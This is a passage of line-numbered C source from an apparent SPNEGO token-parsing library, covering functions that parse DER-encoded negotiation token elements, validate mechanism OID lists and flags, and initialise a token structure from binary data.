1237 |
1238 |
1239 | /////////////////////////////////////////////////////////////////////////////
1240 | //
1241 | // Function:
1242 | // InitSpnegoTokenElements
1243 | //
1244 | // Parameters:
1245 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN struct
1246 | // [in] pbTokenData - Points to initial binary element
1247 | // data in a SPNEGO token.
1248 | // [in] nRemainingTokenLength - Length remaining past header
1249 | //
1250 | // Returns:
1251 | // int Success - SPNEGO_E_SUCCESS
1252 | // Failure - SPNEGO API Error code
1253 | //
1254 | // Comments :
1255 | // Interprets the data at pbTokenData based on the TokenType in
1256 | // pSpnegoToken. Since some elements are optional (technically all are
1257 | // but the token becomes quite useless if this is so), we check if
1258 | // an element exists before filling out the element in the array.
1259 | //
1260 | ////////////////////////////////////////////////////////////////////////////
1261 |
1262 | int InitSpnegoTokenElements(SPNEGO_TOKEN* pSpnegoToken, unsigned char* pbTokenData,
1263 | long nRemainingTokenLength)
1264 | {
1265 | //
1266 | // The following arrays contain the token identifiers for the elements
1267 | // comprising the actual token. All values are optional, and there are
1268 | // no defaults.
1269 | //
1270 |
1271 | static unsigned char abNegTokenInitElements[] =
1272 | { SPNEGO_NEGINIT_ELEMENT_MECHTYPES, SPNEGO_NEGINIT_ELEMENT_REQFLAGS,
1273 | SPNEGO_NEGINIT_ELEMENT_MECHTOKEN, SPNEGO_NEGINIT_ELEMENT_MECHLISTMIC };
1274 |
1275 | static unsigned char abNegTokenTargElements[] =
1276 | { SPNEGO_NEGTARG_ELEMENT_NEGRESULT, SPNEGO_NEGTARG_ELEMENT_SUPPORTEDMECH,
1277 | SPNEGO_NEGTARG_ELEMENT_RESPONSETOKEN, SPNEGO_NEGTARG_ELEMENT_MECHLISTMIC };
1278 |
1279 | int nReturn = SPNEGO_E_SUCCESS;
1280 | int nCtr = 0L;
1281 | long nElementLength = 0L;
1282 | long nActualTokenLength = 0L;
1283 | unsigned char* pbElements = NULL;
1284 | unsigned char* ptok;
1285 | long tlen, elen, len;
1286 |
1287 | // Point to the correct array
1288 | switch (pSpnegoToken->ucTokenType)
1289 | {
1290 | case SPNEGO_TOKEN_INIT:
1291 | {
1292 | pbElements = abNegTokenInitElements;
1293 | }
1294 | break;
1295 |
1296 | case SPNEGO_TOKEN_TARG:
1297 | {
1298 | pbElements = abNegTokenTargElements;
1299 | }
1300 | break;
1301 |
1302 | } // SWITCH tokentype
1303 |
1304 | //
1305 | // Enumerate the element arrays and look for the tokens at our current location
1306 | //
1307 |
1308 | for (nCtr = 0L;
1309 | SPNEGO_E_SUCCESS == nReturn &&
1310 | nCtr < MAX_NUM_TOKEN_ELEMENTS &&
1311 | nRemainingTokenLength > 0L;
1312 | nCtr++)
1313 | {
1314 |
1315 | // Check if the token exists
1316 | if ((nReturn = ASNDerCheckToken(pbTokenData, pbElements[nCtr],
1317 | 0L, nRemainingTokenLength,
1318 | &nElementLength, &nActualTokenLength))
1319 | == SPNEGO_E_SUCCESS)
1320 | {
1321 |
1322 | // Token data should skip over the sequence token and then
1323 | // call the appropriate function to initialize the element
1324 | pbTokenData += nActualTokenLength;
1325 |
1326 | // Lengths in the elements should NOT go beyond the element
1327 | // length
1328 |
1329 | // Different tokens mean different elements
1330 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
1331 | {
1332 |
1333 | // Handle each element as appropriate
1334 | switch (pbElements[nCtr])
1335 | {
1336 |
1337 | case SPNEGO_NEGINIT_ELEMENT_MECHTYPES:
1338 | {
1339 | //
1340 | // This is a Mech List that specifies which OIDs the
1341 | // originator of the Init Token supports.
1342 | //
1343 |
1344 | nReturn = GetSpnegoInitTokenMechList(pbTokenData, nElementLength,
1345 | &pSpnegoToken->aElementArray[nCtr]);
1346 |
1347 | }
1348 | break;
1349 |
1350 | case SPNEGO_NEGINIT_ELEMENT_REQFLAGS:
1351 | {
1352 | //
1353 | // This is a BITSTRING which specifies the flags that the receiver
1354 | // pass to the gss_accept_sec_context() function.
1355 | //
1356 |
1357 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength,
1358 | BITSTRING, spnego_init_reqFlags,
1359 | &pSpnegoToken->aElementArray[nCtr]);
1360 | }
1361 | break;
1362 |
1363 | case SPNEGO_NEGINIT_ELEMENT_MECHTOKEN:
1364 | {
1365 | //
1366 | // This is an OCTETSTRING which contains a GSSAPI token corresponding
1367 | // to the first OID in the MechList.
1368 | //
1369 |
1370 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength,
1371 | OCTETSTRING, spnego_init_mechToken,
1372 | &pSpnegoToken->aElementArray[nCtr]);
1373 | }
1374 | break;
1375 |
1376 | case SPNEGO_NEGINIT_ELEMENT_MECHLISTMIC:
1377 | {
1378 | //
1379 | // This is an OCTETSTRING which contains a message integrity BLOB.
1380 | //
1381 |
1382 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength,
1383 | OCTETSTRING, spnego_init_mechListMIC,
1384 | &pSpnegoToken->aElementArray[nCtr]);
1385 | /*
1386 | * don't believe everything you read in RFCs (and MS
1387 | * sample code)... win2k is sending not an octet string,
1388 | * but a "general string", wrapped in a sequence.
1389 | */
1390 | if (nReturn != SPNEGO_E_UNEXPECTED_TYPE)
1391 | break;
1392 | ptok = pbTokenData;
1393 | elen = nElementLength;
1394 | if ((nReturn = ASNDerCheckToken(ptok, SPNEGO_CONSTRUCTED_SEQUENCE, elen, elen, &len, &tlen)) != SPNEGO_E_SUCCESS)
1395 | break;
1396 | elen -= tlen;
1397 | ptok += tlen;
1398 |
1399 | if ((nReturn = ASNDerCheckToken(ptok, SEQ_ELM(0), elen, elen, &len, &tlen)) != SPNEGO_E_SUCCESS)
1400 | break;
1401 | elen -= tlen;
1402 | ptok += tlen;
1403 | nReturn = InitSpnegoTokenElementFromBasicType(ptok, elen, GENERALSTR, spnego_init_mechListMIC, &pSpnegoToken->aElementArray[nCtr]);
1404 | }
1405 | break;
1406 |
1407 | } // SWITCH Element
1408 | }
1409 | else
1410 | {
1411 |
1412 | switch (pbElements[nCtr])
1413 | {
1414 |
1415 | case SPNEGO_NEGTARG_ELEMENT_NEGRESULT:
1416 | {
1417 | //
1418 | // This is an ENUMERATION which specifies result of the last GSS
1419 | // token negotiation call.
1420 | //
1421 |
1422 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength,
1423 | ENUMERATED, spnego_targ_negResult,
1424 | &pSpnegoToken->aElementArray[nCtr]);
1425 | }
1426 | break;
1427 |
1428 | case SPNEGO_NEGTARG_ELEMENT_SUPPORTEDMECH:
1429 | {
1430 | //
1431 | // This is an OID which specifies a supported mechanism.
1432 | //
1433 |
1434 | nReturn = InitSpnegoTokenElementFromOID(pbTokenData, nElementLength,
1435 | spnego_targ_mechListMIC,
1436 | &pSpnegoToken->aElementArray[nCtr]);
1437 | }
1438 | break;
1439 |
1440 | case SPNEGO_NEGTARG_ELEMENT_RESPONSETOKEN:
1441 | {
1442 | //
1443 | // This is an OCTETSTRING which specifies results of the last GSS
1444 | // token negotiation call.
1445 | //
1446 |
1447 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength,
1448 | OCTETSTRING, spnego_targ_responseToken,
1449 | &pSpnegoToken->aElementArray[nCtr]);
1450 | }
1451 | break;
1452 |
1453 | case SPNEGO_NEGTARG_ELEMENT_MECHLISTMIC:
1454 | {
1455 | //
1456 | // This is an OCTETSTRING which specifies a message integrity BLOB.
1457 | //
1458 |
1459 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength,
1460 | OCTETSTRING, spnego_targ_mechListMIC,
1461 | &pSpnegoToken->aElementArray[nCtr]);
1462 | }
1463 | break;
1464 |
1465 | } // SWITCH Element
1466 |
1467 | } // ELSE !NegTokenInit
1468 |
1469 | // Account for the entire token and following data
1470 | nRemainingTokenLength -= (nActualTokenLength + nElementLength);
1471 |
1472 | // Token data should skip past the element length now
1473 | pbTokenData += nElementLength;
1474 |
1475 | } // IF Token found
1476 | else if (SPNEGO_E_TOKEN_NOT_FOUND == nReturn)
1477 | {
1478 | // For now, this is a benign error (remember, all elements are optional, so
1479 | // if we don't find one, it's okay).
1480 |
1481 | nReturn = SPNEGO_E_SUCCESS;
1482 | }
1483 |
1484 | } // FOR enum elements
1485 |
1486 | //
1487 | // We should always run down to 0 remaining bytes in the token. If not, we've got
1488 | // a bad token.
1489 | //
1490 |
1491 | if (SPNEGO_E_SUCCESS == nReturn && nRemainingTokenLength != 0L)
1492 | {
1493 | nReturn = SPNEGO_E_INVALID_TOKEN;
1494 | }
1495 |
1496 | return nReturn;
1497 | }
1498 |
1499 |
1500 | /////////////////////////////////////////////////////////////////////////////
1501 | //
1502 | // Function:
1503 | // FindMechOIDInMechList
1504 | //
1505 | // Parameters:
1506 | // [in] pSpnegoElement - SPNEGO_ELEMENT for MechList
1507 | // [in] MechOID - OID we're looking for.
1508 | // [out] piMechTypeIndex - Index in the list where OID was
1509 | // found
1510 | //
1511 | // Returns:
1512 | // int Success - SPNEGO_E_SUCCESS
1513 | // Failure - SPNEGO API Error code
1514 | //
1515 | // Comments :
1516 | // Walks the MechList for MechOID. When it is found, the index in the
1517 | // list is written to piMechTypeIndex.
1518 | //
1519 | ////////////////////////////////////////////////////////////////////////////
1520 |
1521 | int FindMechOIDInMechList(SPNEGO_ELEMENT* pSpnegoElement, SPNEGO_MECH_OID MechOID,
1522 | int* piMechTypeIndex)
1523 | {
1524 | int nReturn = SPNEGO_E_NOT_FOUND;
1525 | int nCtr = 0;
1526 | long nLength = 0L;
1527 | long nBoundaryLength = pSpnegoElement->nDatalength;
1528 | unsigned char* pbMechListData = pSpnegoElement->pbData;
1529 |
1530 | while (SPNEGO_E_SUCCESS != nReturn && nBoundaryLength > 0L)
1531 | {
1532 |
1533 | // Use the helper function to check the OID
1534 | if ((nReturn = ASNDerCheckOID(pbMechListData, MechOID, nBoundaryLength, &nLength))
1535 | == SPNEGO_E_SUCCESS)
1536 | {
1537 | *piMechTypeIndex = nCtr;
1538 | }
1539 |
1540 | // Adjust for the current OID
1541 | pbMechListData += nLength;
1542 | nBoundaryLength -= nLength;
1543 | nCtr++;
1544 |
1545 | } // WHILE enuming OIDs
1546 |
1547 | return nReturn;
1548 |
1549 | }
1550 |
1551 |
1552 | /////////////////////////////////////////////////////////////////////////////
1553 | //
1554 | // Function:
1555 | // ValidateMechList
1556 | //
1557 | // Parameters:
1558 | // [in] pbMechListData - Pointer to binary MechList data
1559 | // [in] nBoundaryLength - Length we must not exceed
1560 | //
1561 | // Returns:
1562 | // int Success - SPNEGO_E_SUCCESS
1563 | // Failure - SPNEGO API Error code
1564 | //
1565 | // Comments :
1566 | // Checks the data at pbMechListData to see if it looks like a MechList.
1567 | // As part of this, we walk the list and ensure that none of the OIDs
1568 | // have a length that takes us outside of nBoundaryLength.
1569 | //
1570 | ////////////////////////////////////////////////////////////////////////////
1571 |
1572 | int ValidateMechList(unsigned char* pbMechListData, long nBoundaryLength)
1573 | {
1574 | int nReturn = SPNEGO_E_SUCCESS;
1575 | long nLength = 0L;
1576 | long nTokenLength = 0L;
1577 |
1578 | while (SPNEGO_E_SUCCESS == nReturn && nBoundaryLength > 0L)
1579 | {
1580 | // Verify that we have something that at least *looks* like an OID - in other
1581 | // words it has an OID identifier and specifies a length that doesn't go beyond
1582 | // the size of the list.
1583 | nReturn = ASNDerCheckToken(pbMechListData, OID, 0L, nBoundaryLength,
1584 | &nLength, &nTokenLength);
1585 |
1586 | // Adjust for the current OID
1587 | pbMechListData += (nLength + nTokenLength);
1588 | nBoundaryLength -= (nLength + nTokenLength);
1589 |
1590 | } // WHILE enuming OIDs
1591 |
1592 | return nReturn;
1593 |
1594 | }
1595 |
1596 | /////////////////////////////////////////////////////////////////////////////
1597 | //
1598 | // Function:
1599 | // IsValidMechOid
1600 | //
1601 | // Parameters:
1602 | // [in] mechOid - mechOID id enumeration
1603 | //
1604 | // Returns:
1605 | // int Success - 1
1606 | // Failure - 0
1607 | //
1608 | // Comments :
1609 | // Checks for a valid mechOid value.
1610 | //
1611 | ////////////////////////////////////////////////////////////////////////////
1612 |
1613 | int IsValidMechOid(SPNEGO_MECH_OID mechOid)
1614 | {
1615 | return (mechOid >= spnego_mech_oid_Kerberos_V5_Legacy &&
1616 | mechOid <= spnego_mech_oid_NTLMSSP);
1617 | }
1618 |
1619 | /////////////////////////////////////////////////////////////////////////////
1620 | //
1621 | // Function:
1622 | // IsValidContextFlags
1623 | //
1624 | // Parameters:
1625 | // [in] ucContextFlags - ContextFlags value
1626 | //
1627 | // Returns:
1628 | // int Success - 1
1629 | // Failure - 0
1630 | //
1631 | // Comments :
1632 | // Checks for a valid ContextFlags value.
1633 | //
1634 | ////////////////////////////////////////////////////////////////////////////
1635 |
1636 | int IsValidContextFlags(unsigned char ucContextFlags)
1637 | {
1638 | // Mask out our valid bits. If there is anything leftover, this
1639 | // is not a valid value for Context Flags
1640 | return ((ucContextFlags & ~SPNEGO_NEGINIT_CONTEXT_MASK) == 0);
1641 | }
1642 |
1643 | /////////////////////////////////////////////////////////////////////////////
1644 | //
1645 | // Function:
1646 | // IsValidNegResult
1647 | //
1648 | // Parameters:
1649 | // [in] negResult - NegResult value
1650 | //
1651 | // Returns:
1652 | // int Success - 1
1653 | // Failure - 0
1654 | //
1655 | // Comments :
1656 | // Checks for a valid NegResult value.
1657 | //
1658 | ////////////////////////////////////////////////////////////////////////////
1659 |
1660 | int IsValidNegResult(SPNEGO_NEGRESULT negResult)
1661 | {
1662 | return (negResult >= spnego_negresult_success &&
1663 | negResult <= spnego_negresult_rejected);
1664 | }
1665 |
1666 | /////////////////////////////////////////////////////////////////////////////
1667 | //
1668 | // Function:
1669 | // IsValidSpnegoToken
1670 | //
1671 | // Parameters:
1672 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN data structure
1673 | //
1674 | // Returns:
1675 | // int Success - 1
1676 | // Failure - 0
1677 | //
1678 | // Comments :
1679 | // Performs simple heuristic on location pointed to by pSpnegoToken.
1680 | //
1681 | ////////////////////////////////////////////////////////////////////////////
1682 |
1683 | int IsValidSpnegoToken(SPNEGO_TOKEN* pSpnegoToken)
1684 | {
1685 | int nReturn = 0;
1686 |
1687 | // Parameter should be non-NULL
1688 | if (NULL != pSpnegoToken)
1689 | {
1690 | // Length should be at least the size defined in the header
1691 | if (pSpnegoToken->nStructSize >= SPNEGO_TOKEN_SIZE)
1692 | {
1693 | // Number of elements should be >= our maximum - if it's greater, that's
1694 | // okay, since we'll only be accessing the elements up to MAX_NUM_TOKEN_ELEMENTS
1695 | if (pSpnegoToken->nNumElements >= MAX_NUM_TOKEN_ELEMENTS)
1696 | {
1697 | // Check for proper token type
1698 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType ||
1699 | SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType)
1700 | {
1701 | nReturn = 1;
1702 | }
1703 | }
1704 |
1705 | } // IF struct size makes sense
1706 |
1707 | } // IF non-NULL spnego Token
1708 |
1709 | return nReturn;
1710 | }
1711 |
1712 | /////////////////////////////////////////////////////////////////////////////
1713 | //
1714 | // Function:
1715 | // IsValidSpnegoElement
1716 | //
1717 | // Parameters:
1718 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN data structure
1719 | // [in] spnegoElement - spnegoElement Type from enumeration
1720 | //
1721 | // Returns:
1722 | // int Success - 1
1723 | // Failure - 0
1724 | //
1725 | // Comments :
1726 | // Checks that spnegoElement has a valid value and is appropriate for
1727 | // the SPNEGO token encapsulated by pSpnegoToken.
1728 | //
1729 | ////////////////////////////////////////////////////////////////////////////
1730 |
1731 | int IsValidSpnegoElement(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement)
1732 | {
1733 | int nReturn = 0;
1734 |
1735 | // Check boundaries
1736 | if (spnegoElement > spnego_element_min &&
1737 | spnegoElement < spnego_element_max)
1738 | {
1739 |
1740 | // Check for appropriateness to token type
1741 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
1742 | {
1743 | nReturn = (spnegoElement >= spnego_init_mechtypes &&
1744 | spnegoElement <= spnego_init_mechListMIC);
1745 | }
1746 | else
1747 | {
1748 | nReturn = (spnegoElement >= spnego_targ_negResult &&
1749 | spnegoElement <= spnego_targ_mechListMIC);
1750 | }
1751 |
1752 | } // IF boundary conditions are met
1753 |
1754 | return nReturn;
1755 | }
1756 |
1757 | /////////////////////////////////////////////////////////////////////////////
1758 | //
1759 | // Function:
1760 | // CalculateElementArrayIndex
1761 | //
1762 | // Parameters:
1763 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN data structure
1764 | // [in] spnegoElement - spnegoElement Type from enumeration
1765 | //
1766 | // Returns:
1767 | // int index in the SPNEGO_TOKEN element array that the element can
1768 | // can be found
1769 | //
1770 | // Comments :
1771 | // Based on the Token Type, calculates the index in the element array
1772 | // at which the specified element can be found.
1773 | //
1774 | ////////////////////////////////////////////////////////////////////////////
1775 |
1776 | int CalculateElementArrayIndex(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement)
1777 | {
1778 | int nReturn = 0;
1779 |
1780 | // Offset is difference between value and initial element identifier
1781 | // (these differ based on ucTokenType)
1782 |
1783 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
1784 | {
1785 | nReturn = spnegoElement - spnego_init_mechtypes;
1786 | }
1787 | else
1788 | {
1789 | nReturn = spnegoElement - spnego_targ_negResult;
1790 | }
1791 |
1792 | return nReturn;
1793 | }
1794 |
1795 | /////////////////////////////////////////////////////////////////////////////
1796 | //
1797 | // Function:
1798 | // InitTokenFromBinary
1799 | //
1800 | // Parameters:
1801 | // [in] ucCopyData - Flag indicating if data should be copied
1802 | // [in] ulFlags - Flags value for structure
1803 | // [in] pnTokenData - Binary Token Data
1804 | // [in] ulLength - Length of the data
1805 | // [out] ppSpnegoToken - Pointer to call allocated SPNEGO Token
1806 | // data structure
1807 | //
1808 | // Returns:
1809 | // int Success - SPNEGO_E_SUCCESS
1810 | // Failure - SPNEGO API Error code
1811 | //
1812 | // Comments :
1813 | // Allocates a SPNEGO_TOKEN data structure and fills it out as
1814 | // appropriate based in the flags passed into the function.
1815 | //
1816 | ////////////////////////////////////////////////////////////////////////////
1817 |
1818 |
1819 | // Initializes SPNEGO_TOKEN structure from DER encoded binary data
1820 | int InitTokenFromBinary(unsigned char ucCopyData, unsigned long ulFlags,
1821 | unsigned char* pbTokenData, unsigned long ulLength,
1822 | SPNEGO_TOKEN** ppSpnegoToken)
1823 | {
1824 | int nReturn = SPNEGO_E_INVALID_PARAMETER;
1825 | SPNEGO_TOKEN* pSpnegoToken = NULL;
1826 | unsigned char* pbFirstElement = NULL;
1827 | long nTokenLength = 0L;
1828 | long nRemainingTokenLength = 0L;
1829 |
1830 | // Basic Parameter Validation
1831 |
1832 | if (NULL != pbTokenData &&
1833 | NULL != ppSpnegoToken &&
1834 | 0L != ulLength)
1835 | {
1836 |
1837 | //
1838 | // Allocate the empty token, then initialize the data structure.
1839 | //
1840 |
1841 | pSpnegoToken = AllocEmptySpnegoToken(ucCopyData, ulFlags, pbTokenData, ulLength);
1842 |
1843 | if (NULL != pSpnegoToken)
1844 | {
1845 |
1846 | // Copy the binary data locally
1847 |
1848 |
1849 | // Initialize the token type
1850 | if ((nReturn = InitSpnegoTokenType(pSpnegoToken, &nTokenLength,
1851 | &nRemainingTokenLength, &pbFirstElement))
1852 | == SPNEGO_E_SUCCESS)
1853 | {
1854 |
1855 | // Initialize the element array
1856 | if ((nReturn = InitSpnegoTokenElements(pSpnegoToken, pbFirstElement,
1857 | nRemainingTokenLength))
1858 | == SPNEGO_E_SUCCESS)
1859 | {
1860 | *ppSpnegoToken = pSpnegoToken;
1861 | }
1862 |
1863 | } // IF Init Token Type
1864 |
1865 | // Cleanup on error condition
1866 | if (SPNEGO_E_SUCCESS != nReturn)
1867 | {
1868 | spnegoFreeData(pSpnegoToken);
1869 | }
1870 |
1871 | }
1872 | else
1873 | {
1874 | nReturn = SPNEGO_E_OUT_OF_MEMORY;
1875 | }
1876 |
1877 | } // IF Valid parameters
1878 |
1879 |
1880 | return nReturn;
1881 | }
1882 |
--------------------------------------------------------------------------------